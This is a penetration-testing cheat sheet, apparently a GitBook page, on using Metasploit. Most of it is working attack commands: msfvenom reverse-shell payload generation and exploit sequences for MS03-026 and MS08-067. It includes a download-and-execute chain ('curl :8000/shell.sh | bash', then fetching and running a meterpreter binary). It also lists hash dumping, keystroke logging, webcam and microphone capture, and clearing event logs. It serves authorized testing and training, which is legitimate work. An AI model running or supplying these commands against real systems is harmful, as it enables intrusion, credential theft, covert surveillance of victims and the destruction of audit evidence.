> For the complete documentation index, see [llms.txt](https://f1shh.gitbook.io/pentest-tips/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1shh.gitbook.io/pentest-tips/network-exploitation/metasploit.md). # Metasploit **Set the payload:** ```bash set payload ``` **Set the exploit:** ```bash use exploit/ ``` ## Quick Commands * `ctrl + z`: Background a session * `setg `: Set global value * `sessions -l`: See background sessions * `sessions -i `: Go back into backgrounded sessions * `options`: Show parameters * `hashdump`: Dump hashes * `unset payload`: Clear payload * `post/windows/gather/hashdump`: Windows hashdump alt * `ipconfig`: Grab interface info * `run autoroute -s /`: Network pivot ## PHP web Meterpreter shell ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php ``` ## HTA RSH ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=443 -f hta-psh -o thm.hta # OR you can do it through Metasploit use exploit/windows/misc/hta_server set payload windows/meterpreter/reverse_tcp ``` ## Easy WinXP pwn **IN the metasploit console:** ```bash use exploit/windows/dcerpc/ms03_026_dcom set payload windows/meterpreter/bind_tcp set RHOST exploit ``` ## Easy Win2000 pwn **IN the metasploit console:** ```bash use exploit/windows/smb/ms08_067_netapi set payload windows/meterpreter/reverse_tcp set rhost set lhost set lport exploit ``` ## Auxiliary Port Scan ```bash # In the meterpreter shell of the infected machine run autoroute -s / # Ctrl+Z to background she shell auxiliary/scanner/portscan/tcp set RHOSTS / set ports ,, set threads 50 run ``` ## Privilege Escalation **To elevate your privilege you can use the commands:** ```bash use priv getsystem # OR use exploit/windows/local/ # SET YOUR OPTIONS exploit ``` ## Screen Capture: ```bash # Elevate privlages getsystem # Load Library use espia # Migrate to Explorer.exe ps migrate # Grabb Screenshot screengrab ``` ## Linux Elevate Your Shell: **Generate your payloads:** ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT=1234 -f raw > shell.sh msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell-x86.bin ``` **Start listener and server:** ```bash python3 -m http.server nc -nlvp 1234 ``` **Use your unstable shell to download the stable shell bin:** ```bash curl :8000/shell.sh | bash ``` **Start your meterpreter listener:** ```bash set payload linux/x86/meterpreter/reverse_tcp use exploit/multi/handler exploit ``` **Download your meterpreter payload and run it:** ```bash curl -o /tmp/shell.bin :8000/shell.bin chmod +x /tmp/shell.bin cd /tmp ./shell.bin ``` **Elevate the shell's permissions:** ```bash ^Z use post/multi/recon/local_exploit_suggester exploit ``` ## Using the MFSDB and workspaces: ```bash systemctl start postgresql msfdb init msfconsole db_status ``` * `workspace`: View workspace * `workspace -a `: Add a workspace * `workspace -d `: Delete a workspace * `workspace `: Change current workspace * `workspace -h`: Show workspace options * `help`: Show database commands * `db_nmap `: Save nmap scan to db * `hosts`: Get host information * `services`: Get service information * `hosts -R`: Add hosts to RHOST param * `services -S `: Search for service in all hosts ## Amazing THM Quick Reference command list: **Core commands** * `background`: Backgrounds the current session * `exit`: Terminate the Meterpreter session * `guid`: Get the session GUID (Globally Unique Identifier) * `help`: Displays the help menu * `info`: Displays information about a Post module * `irb`: Opens an interactive Ruby shell on the current session * `load`: Loads one or more Meterpreter extensions * `migrate`: Allows you to migrate Meterpreter to another process * `run`: Executes a Meterpreter script or Post module * `sessions`: Quickly switch to another session **File system commands** * `cd`: Will change directory * `ls`: Will list files in the current directory (dir will also work) * `pwd`: Prints the current working directory * `edit`: will allow you to edit a file * `cat`: Will show the contents of a file to the screen * `rm`: Will delete the specified file * `search`: Will search for files * `upload`: Will upload a file or directory * `download`: Will download a file or directory **Networking commands** * `arp`: Displays the host ARP (Address Resolution Protocol) cache * `ifconfig`: Displays network interfaces available on the target system * `netstat`: Displays the network connections * `portfwd`: Forwards a local port to a remote service * `route`: Allows you to view and modify the routing table **System commands** * `clearev`: Clears the event logs * `execute`: Executes a command * `getpid`: Shows the current process identifier * `getuid`: Shows the user that Meterpreter is running as * `kill`: Terminates a process * `pkill`: Terminates processes by name * `ps`: Lists running processes * `reboot`: Reboots the remote computer * `shell`: Drops into a system command shell * `shutdown`: Shuts down the remote computer * `sysinfo`: Gets information about the remote system, such as OS **Others Commands (these will be listed under different menu categories in the help menu)** * `idletime`: Returns the number of seconds the remote user has been idle * `keyscan_dump`: Dumps the keystroke buffer * `keyscan_start`: Starts capturing keystrokes * `keyscan_stop`: Stops capturing keystrokes * `screenshare`: Allows you to watch the remote user's desktop in real time * `screenshot`: Grabs a screenshot of the interactive desktop * `record_mic`: Records audio from the default microphone for X seconds * `webcam_chat`: Starts a video chat * `webcam_list`: Lists webcams * `webcam_snap`: Takes a snapshot from the specified webcam * `webcam_stream`: Plays a video stream from the specified webcam * `getsystem`: Attempts to elevate your privilege to that of local system * `hashdump`: Dumps the contents of the SAM database